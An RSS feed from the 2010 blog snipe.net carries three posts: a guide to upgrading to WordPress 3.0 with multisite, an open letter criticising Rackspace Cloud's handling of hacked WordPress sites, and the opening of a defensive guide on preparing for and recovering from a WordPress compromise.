<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Snipe.Net &#187; wordpress</title>
	<atom:link href="http://www.snipe.net/tags/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.snipe.net</link>
	<description>Bitterness never tasted so sweet</description>
	<lastBuildDate>Thu, 29 Jul 2010 05:03:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Upgrading to WordPress 3.0 and Adding Multi-Site</title>
		<link>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/</link>
		<comments>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 06:09:49 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[PHP/mySQL]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wpmu]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3071</guid>
		<description><![CDATA[WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do the same.<br />
<span id="more-3071"></span><br />
Previously, if you wanted to run multiple sites from one core installation of WordPress, you would install <a href="http://mu.wordpress.org/">WPMU</a>. </p>
<p>I had tossed that idea around a lot over the past year, since I run several websites that run on WordPress, but I had heard from enough people who ran into plugin/MU conflict issues that made things go &#8216;splody &#8216;splody that I opted not to. So instead, every time a new version of WordPress came out, I&#8217;d end up upgrading around 20 installs. Blech.</p>
<p>With version 3.0 of WordPress, the ability to create multiple sites using one install of WordPress is built right into the core, so no need to fool around with WPMU. The temptation was too great this time, so I decided to give it a whack. It was not what I would call a smooth process, but it wasn&#8217;t terrible either.</p>
<blockquote><p><strong>STOP: </strong>If you are already running WPMU and you just want to figure out how to upgrade your existing WPMU sites to WordPress 3.0, you&#8217;re reading the wrong article.  <a href="http://developersmind.com/2010/06/17/upgrading-wordpress-mu-2-9-2-to-wordpress-3-0/">Try this one instead</a>.</p></blockquote>
<h3>Goals</h3>
<p>What I wanted to get out of this was to have one main core install, but run multiple sites on their own domains that all pulled from that main core, so upgrading to later versions would mean upgrading one core instead of a dozen or two.  These properties remaining at their current separate domain names (such as www.crankyhaiku.com, www.geekhaiku.com etc) was critical, both because of search engine optimization and for branding reasons.</p>
<h3>Upgrading</h3>
<p>The normal upgrade part was flawless, as WordPress upgrades tend to be these days. Automatic upgrade has never quite worked for me, so I always do a manual upgrade. It takes longer to upload the files, but it&#8217;s a pretty painless process. So to upgrade to 3.0, I did the usual: </p>
<ul>
<li>backup (which I didn&#8217;t actually have to do, since I automatically backup to the Amazon Cloud every night using <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/">Automatic WordPress Plugin</a>) but I&#8217;m paranoid</li>
<li>delete the wp-admin directory</li>
<li> delete the wp-includes directory</li>
<li>upload everything in the WordPress package &#8211; except for wp-content &#8211; to the web root</li>
<li>hit the upgrade script to trigger the database updates</li>
</ul>
<p>Flawless, as usual. Not so much as a hiccup. Now came the trickier part &#8211; adding the &#8220;Network&#8221; functionality previously available in WPMU to start to consolidate sites.</p>
<h3>Creating a Multi-Site Network</h3>
<p>I can&#8217;t speak for how easy or difficult this normally was with WPMU, so unfortunately I can&#8217;t tell you how this process compares to a normal WPMU setup. It wasn&#8217;t awful, but it was definitely buggy.</p>
<p>The WordPress documentation on <a href="http://codex.wordpress.org/Create_A_Network">Creating a Network</a> walks through the basics well enough, so I suggest you start there so you know what to expect.</p>
<p><strong>Note: You will not be able to go through the wizard in your WordPress admin until you deactivate ALL of your plugins. You can obviously re-enable them later, but I found that many of them did not keep their original settings.</strong> </p>
<p>I suspect this might be because I chose &#8220;network activate&#8221; instead of just plain &#8220;activate&#8221;. I had wanted to make those plugins available for all sites in the network, and didn&#8217;t realize that it would wipe out my existing snipe.net settings when I did so. Oh well. (Incidentally, that explains why you might see some weird stuff on the site until I have a chance to go through everything one by one. Double &#8220;related posts&#8221; bits at the end of the articles, Apture wasn&#8217;t working, etc.) All of the settings are fixable, but it may take you a little time to figure out what&#8217;s been lost, and what you have to do to set it back to the way it was before.</p>
<h4>Editing Your wp-config.php</h4>
<p>Beyond the setup in your WordPress admin, you&#8217;ll need to make a few changes to your wp-config.php file and your htaccess file. I hadn&#8217;t updated my wp-config for several versions, so I decided to use the wp-config-sample.php file and just pull my existing database variables over. Whether you use your old wp-config.php or start fresh with the stock WordPress sample, you&#8217;ll need to add the following to your wp-config.php, just <em>above</em> the comment that says &#8220;/* That&#8217;s all, stop editing! Happy blogging. */&#8221;</p>
<p><code>define( 'MULTISITE', true );<br />
define( 'SUBDOMAIN_INSTALL', true );<br />
$base = '/';<br />
define( 'DOMAIN_CURRENT_SITE', 'www.yoursite.com' );<br />
define( 'PATH_CURRENT_SITE', '/' );<br />
define( 'SITE_ID_CURRENT_SITE', 1 );<br />
define( 'BLOG_ID_CURRENT_SITE', 1 );</code></p>
<p>If you followed my suggestion and read the <a href="http://codex.wordpress.org/Create_A_Network">WordPress documentation on creating a network</a> (you did read that, right?), you&#8217;ll see that you have two choices for how your network will be set up: sub-domain (blah1.yourdomain.com, blah2.yourdomain.com) or directory-based (yourdomain.com/blah1, yourdomain.com/blah2). Make sure you think this one through before you get started, since there doesn&#8217;t seem to be an easy way to switch between the two.</p>
<p>As I mentioned, I didn&#8217;t want my sites to live at subdomain.snipe.net, or snipe.net/blogname &#8211; I wanted them to live at their own urls. I also didn&#8217;t want a bunch of crap littering up my document root. The easiest way to do this on Rackspace Cloud Sites is through a combination of setting up a site alias, and using mod_rewrite to handle domains:</p>
<ul>
<li>Set up a <a href="http://help.rackspacecloud.com/article.php?id=077">domain alias</a>, like secondblog.com, and point it to originalblog.com</li>
<li>Modify the mod_rewrite rules in your htaccess access file </li>
<li>In your site preferences, point the blog url to the aliased domain name </li>
</ul>
<p>If you&#8217;re not on Rackspace Cloud Sites, you can just follow the directions in the WordPress documentation.</p>
<h4>Tweaking Your .htaccess</h4>
<p>You&#8217;ll need to make sure the bit below is in your htaccess file &#8211; but your WordPress Network Setup wizard will point that out to you anyway <img src='http://www.snipe.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><code>RewriteCond %{REQUEST_FILENAME} -f [OR]<br />
RewriteCond %{REQUEST_FILENAME} -d<br />
RewriteRule ^ - [L]<br />
RewriteRule . index.php [L]</code></p>
<p>One thing to look out for besides having to reset your plugin preferences: when I created my Network, setting this site as the default, it automatically tried to set the url as snipe.net/blog. I&#8217;m not sure why it did this, and I&#8217;m certain I didn&#8217;t add it anywhere, but when I committed the changeover to Network, all of my urls were broken (since snipe.net/blog/ doesn&#8217;t exist). It was a quick change that you can handle via the Settings menu, but watch out for it and be sure to test your links once you&#8217;ve made the switch. </p>
<h3>Importing Blogs</h3>
<p>Now that you&#8217;ve got a Network set up, you have actually add them to the Network so that they&#8217;re using the same core. I expected this to be a much bigger pain in the ass than it ended up being. All I had to do was go to the original admin, go to TOOLS > EXPORT and download the XML file. Then go into my WordPress 3.0 admin, select the site I wanted to admin, and go to TOOLS > IMPORT > WORDPRESS, and upload the XML file. Worked perfectly, so far as I can tell.</p>
<h3>Security Notes</h3>
<p>Consolidating all of your WordPress sites into one multi-site install has many benefits, the most obvious one being that it&#8217;s easier to maintain one core install than updating every single instance of WordPress you run. That said, you may want to consider a few things:</p>
<p>While one install is probably more &#8220;secure&#8221; than multi-installs in the real world simply because you&#8217;re more likely to keep one site updated than dozens, there are a few things to consider.</p>
<p>If you run multiple WordPress blogs under the same user (the same account, in Rackspace Cloud Sites), all of the files are owned by the same linux user and group. This means that if one of your WordPress installs ends up compromised, either because you forgot to upgrade one of them, or because of a <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">vulnerability in your hosting company</a>, once an attacker has access to one of your blog installs, they have access to any other files owned by that user. Which means all of your other blogs, even the ones that are running current WordPress versions.</p>
<p>Along this same line of thought, if you&#8217;re running multiple WordPress installs under different users and you end up consolidating them to take advantage of the multi-site functionality, do so understanding that in this scenario, all of your blogs will be owned by the same user/group in the same webspace, so one vulnerability could easily turn into a much bigger problem. </p>
<p>Conversely, <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">tracking down backdoors and maliciously modified files</a> could potentially be easier, since you have fewer installs to search through.</p>
<p>WordPress has been much better about quickly patching holes, and being proactive about finding vulnerabilities. If your site ends up getting hacked, these days it&#8217;s more likely to be a vulnerable plugin, an outdated install you forgot all about, or a PC virus that added your FTP login to a botnet &#8211; not the core WordPress install itself. I say this with a certain amount of confidence, since I have restored <em>at least</em> two-dozen hacked WordPress sites (not mine) since the beginning of the year, and have therefore spent countless hours investigating the attack, identifying the vector, and writing up summaries to post to <a href="http://badwarebusters.org/">badwarebusters.org</a> in an effort to help other people facing the same hack.</p>
<p>To be clear, running a multi-site install isn&#8217;t any riskier than running multiple blogs under the same user. But if you&#8217;re currently running your blogs under different users, you should at least be aware of how that could potentially impact you. </p>
<h3>Final Thoughts</h3>
<p>My thought is that it might have been smarter to install WPMU, and then upgrade to 3.0, since the upgrade process for a WPMU setup to 3.0 seems like it was a little less wonky, but I don&#8217;t really know.</p>
<p>I&#8217;ve really only just started playing with this during the fragment of free time I had today (work has been brutal for the past month or so). So far, pulling the theme in has been as simple as downloading them from their respective old WordPress installs and uploading them to the new 3.0 themes directory and activating them so that they&#8217;re available to the rest of the sites in the network. </p>
<p>And certainly, if you&#8217;ve found an easier way to get this done, please let me know in the comments. <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>An Open Letter to Rackspace Cloud Hosting</title>
		<link>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/</link>
		<comments>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 00:07:55 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[rackspace]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2851</guid>
		<description><![CDATA[I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. One thing they seem to have in common is that they&#8217;re all running WordPress, and a lot of them are hosted at the Rackspace Cloud. Dear Alison, Since we host [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. </p>
<p>One thing they seem to have in common is that they&#8217;re all running WordPress, and <a href="http://benmetcalfe.com/blog/2010/01/wordpress-to-be-currently-considered-unsafe/">a lot of them are hosted at the Rackspace Cloud</a>.</p>
<p><span id="more-2851"></span></p>
<blockquote><p>Dear Alison,</p>
<p>Since we host hundreds of thousands of applications at The Rackspace Cloud, we have a unique vantage point from which we can identify security trends and patterns. Lately, the industry has seen an elevated level of attempts to take advantage of code vulnerabilities in the software powering websites. Hackers are a common and persistent threat to any website, but there are steps you can take to protect yourself and to make your websites and applications harder to exploit.</p>
<p>Please read over the important tips below. We have dedicated security experts who work to protect our infrastructure, but since we can&#8217;t fix or upgrade code on behalf of our customers, it&#8217;s important for you to know and regularly implement security best practices in the code you run. We need your help and involvement to ensure your own sites are as protected as possible. If you have any questions about security, please reply to this email and we&#8217;ll  be happy to help.</p>
<p>HERE&#8217;S WHAT OUR SECURITY TEAM HAS RECENTLY IDENTIFIED:</p>
<p>1. The current data that we&#8217;ve collected points to application-based vulnerabilities being exploited. Hackers commonly scan sites for insecure applications, plugins, or other pieces of code and then work to take advantage of the software exploits they find.</p>
<p>2. Applications using the popular blogging software WordPress appear to be mostly targeted, but WordPress isn&#8217;t the sole target of the malicious groups / persons.</p>
<p>3. Your site does not have to be high-profile to be targeted. Hackers often scan random sites for signs of software known to be vulnerable (older versions of popular software with publicly known security holes, for example).</p>
<p>HERE&#8217;S WHAT YOU SHOULD DO NOW TO PROTECT YOUR SITES:</p>
<p>1. This is probably the most important tip: For any application you use, be sure to maintain the most current stable version. Often, an application might be updated to a new minor version solely to address a security hole that&#8217;s been discovered. Be sure to subscribe to any news lists and feeds available for your applications to make sure you are aware of updated versions as soon as they are released.</p>
<p>2. Many applications, like WordPress, have optional plugins developed by the community. Since these add-ons are often not as well vetted, it&#8217;s extremely important to carefully evaluate and manage third party application plugins, themes, or other functionality that is introduced to a running web application. Most hackers are exploiting these plug-ins</p>
<p>3. It&#8217;s imperative to choose strong passwords. Randomly generated strings of letters, numbers, and symbols are best. Avoid words and phrases in your passwords. The unfortunate reality: passwords that are easy to remember are also easy to guess. (Ex: Replacing o by the number 0 is not a recommended tactic.)</p>
<p>4. Change your passwords on a regular basis and change them immediately when you have any hunch that your site may have been attacked.</p>
<p>5. Be as restrictive as possible with users and file permissions. Remove write permissions from files that aren&#8217;t likely to change frequently. Some programs have install files that should be deleted after installation. If you&#8217;ve installed something or written code for testing purposes or experimentation, it&#8217;s best to remove it afterwards. Only keep the files and code on your account that are active and necessary.</p>
<p>As a site owner, you need to take an active role in guaranteeing security of your code and applications. The good news is that our support staff is happy to help you with any questions or concerns you may have. Recovering from a hack or exploit is extremely time-consuming and frustrating. The preventive steps outlined above can make a world of difference in keeping your sites secure.</p>
<p>Finally, if you suspect your site has already been compromised, you should take immediate action. This knowledge base article can help you through the right steps:</p>
<p><a href="http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise">http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise</a></p>
<p>Sincerely,<br />
The Rackspace Cloud Security Team </p></blockquote>
<p>I want to preface this by saying there are a LOT of people that work at Rackspace that are absolutely awesome. The guys I know from Twitter are amazing, and helpful and care about customer happiness more than I can even say. None of this is their fault. This is NOT about them. This is about something fundamentally wrong with priorities at Rackspace, in my opinion.</p>
<p>I replied:</p>
<blockquote><p>Too little, too late. I could have (and did) tell you all of this already.</p>
<p>And unfortunately, running the most recent version of WordPress doesn&#8217;t help. This week, I have personally had to repair 11 WordPress websites hosted on the RS Cloud that were hacked, all were running 2.9.1 and had very few plugins in common. The plugins they do have in common, like WP-Supercache, are plugins Rackspace suggests to keep the CPU-cycle raping down to a minimum. And WP-Supercache is a mature plugin that is very well supported so it seems unlikely (although certainly not impossible) that it is the vector.</p>
<p>And thanks to your logfiles not being able to be viewed in real time (as they are owned by root), this leaves web developers that actually have a clue very few options for forensically backtracking the vector.</p>
<p>I would like to know what Rackspace is doing to help developers isolate these issues? Are logfiles being programmatically reviewed for malicious traffic? Without SSH access and the ability to tail apache logs, we cannot do this ourselves within any kind of timeframe that will be useful in preventing or mitigating an attack. If I am going to continue hosting with Rackspace, I want to be assured that Rackspace is actually doing something to help us protect ourselves other than send emails that overstate the obvious.</p>
<p>Your support staff, at least most of the level 1 techs, are completely and utterly incapable of handling anything relating to hacks. They are slow and under-educated, regardless of how well meaning they might be.</p>
<p>You guys are in the position where you can help isolate these vectors. What steps are you taking? You need to up your game, or I&#8217;m bailing, and likely taking a lot of people with me. There is a lot of buzz going around about these vulnerabilities being specific to Rackspace Cloud, as it seems the vast, vast majority of the WordPress hacks have been on RS CS hosted sites.</p>
<p>I have confronted several of your higher-ups in the Cloud, including CTO John Engates, multiple times over the past year, begging for better tools to monitor security, offering to pay extra for them. Simple tools that even terrible, insecure Cpanel servers have. The entire purpose of Mosso, when it was created, was to target web developers &#8211; at least that&#8217;s how it was pitched to me. Web developers. Professionals. Many of us with over a decade of experience in this business. You deny us SSH and real-time Apache logs, but do nothing to provide us with any tools we would need without access to those basics &#8211; and then to add insult to injury, you send us a form letter that tells us to use good passwords and keep WordPress up to date? If your target is still the web development community, it&#8217;s time to nut up or shut up. We&#8217;re already doing all of these things, and we&#8217;re still getting fucked. It makes us look bad, it costs us time and money, and the trust of our clients.</p>
<p>Your customers are under attack, and I want to know what you plan to do to help us protect ourselves and our clients, or I am taking my business to a company that values my time and reputation.</p></blockquote>
<p>I would not have published this letter to my blog if this were not something that I have been asking for, over and over and over, for the entire year I&#8217;ve been with Rackspace Cloud. I have tried to keep my issues with Rackspace off the grid, because overall I have felt like they&#8217;ve been trying to work with me to keep me happy. But this was just too much.</p>
<p>No one is sorrier than I am that it came to this. </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/03/the-cloud-is-a-lie/' rel='bookmark' title='Permanent Link: The Cloud is a Lie'>The Cloud is a Lie</a> <small>Okay, the cloud (or grid or whatever they&#8217;re calling it...</small></li>
<li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>When Your WordPress Blog Gets Hacked</title>
		<link>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/</link>
		<comments>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 11:11:10 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[keyloggers]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2809</guid>
		<description><![CDATA[It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it. This article will [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.<br />
<span id="more-2809"></span></p>
<p>This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won&#8217;t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.</p>
<p>Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you&#8217;re not a pro, you probably just haven&#8217;t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.</p>
<h3>The Impact of a Hack</h3>
<p>The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We&#8217;ll get into that a little further down in the article, but the high-level impacts of a site hack are:</p>
<ul>
<li>Lost time spent restoring the site, or lost money paying someone else to if you don&#8217;t have the technical skills.</li>
<li> Possibly lost data or files.</li>
<li>Site downtime, potentially resulting in lost sales or referrals</li>
<li>Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.</li>
<li>Possibly infecting your users with malware.</li>
</ul>
<p>Pretty serious stuff &#8211; but fortunately, <strong>two of the most significant items in that list are things you can directly mitigate</strong> by taking some precautions and staying calm if you get hit with an attack.</p>
<h3>When You Fail to Prepare, You Prepare to Fail</h3>
<p>My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I&#8217;ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.</p>
<p>Right now, as you&#8217;re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I&#8217;m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won&#8217;t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don&#8217;t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that&#8217;s the first time it&#8217;s been attempted, you&#8217;re dead wrong.</p>
<p>There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.</p>
<h3>Keep WordPress and Plugins Up to Date</h3>
<p>This seems obvious, but it&#8217;s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn&#8217;t take very long to do a full upgrade, and it&#8217;s one of the easiest ways you protect yourself from attacks.</p>
<p>WordPress is actually pretty secure these days &#8211; certainly a far cry from where it used to be. They&#8217;ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don&#8217;t help you if you&#8217;re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star&#8217;s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it&#8217;s patched.</p>
<p>WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it&#8217;s up to you to upgrade to reap the benefits of the patches. It&#8217;s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you&#8217;ve got to remember to login once in a  while and update them.</p>
<p>Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.</p>
<p><strong>IMPORTANT: Make sure that you upgrade ALL of your WordPress installations.</strong> Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that <strong>if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date</strong> by changing files, installing shells and backdoors, etc.</p>
<h3>Backup, Backup and Backup again</h3>
<p>Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is <em>your</em> responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.</p>
<p>Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what&#8217;s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.</p>
<p>In addition to whatever backups your server provides, <strong><a href="http://codex.wordpress.org/WordPress_Backups#Automatic_Backups" target="_blank">WordPress has several plugins and tools available</a></strong> to make backing up your blog pretty painless.</p>
<p>I personally do automatic backups to an Amazon S3 account, with the help of a <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/" target="_blank">fantastic plugin called Automatic WordPress Backup</a>. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn&#8217;t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.</p>
<p>It&#8217;s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine &#8211; you will never, ever regret it.</p>
<p><strong>Remember that a backup isn&#8217;t a backup until you&#8217;ve tested that it actually works. </strong>Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don&#8217;t have to figure it out from scratch while you&#8217;re freaking out because you&#8217;ve been hacked. Same concept as a fire drill.</p>
<h3>Ask Your Web Host Where Your Log Files Live</h3>
<p>In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don&#8217;t have to scramble to find them during the heat of the moment.</p>
<h3>Early Detection Equals Better Reputation Damage Control</h3>
<p>The only thing worse than being hacked in the first place is being the last to know about it. It&#8217;s embarrassing, it&#8217;s awkward, and you can come off seeming like you&#8217;re out of touch with your own site.</p>
<p>When a user tells you your site has been hacked, <strong>you now have to deal with public perception damage control in addition to getting your site back online</strong> and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.</p>
<p>Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay <strong>means more of your users could end up with infected computers</strong>. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.</p>
<p>So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you&#8217;re always the first &#8211; or damn close &#8211; to know? Easy.</p>
<p><strong>Set up an account with one of the cheap or free website monitoring services.</strong> There are many to choose from, and some offer more features than others, but you can <a href="http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/">see a comparison of the ones I&#8217;ve tried here</a>.  I personally prefer <a href="http://site24x7.com/" target="_blank">Site24x7</a> because of the alert configuration options.</p>
<p><img class="aligncenter size-large wp-image-2819" title="site24x7" src="http://www.snipe.net/wp-content/uploads/2010/01/site24x7-560x184.png" alt="" width="560" height="184" /></p>
<p>As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn&#8217;t found in the test. I&#8217;ve also added an alert to search for the keyword &#8220;iframe&#8221;, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.</p>
<p>Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don&#8217;t get any false alarms.</p>
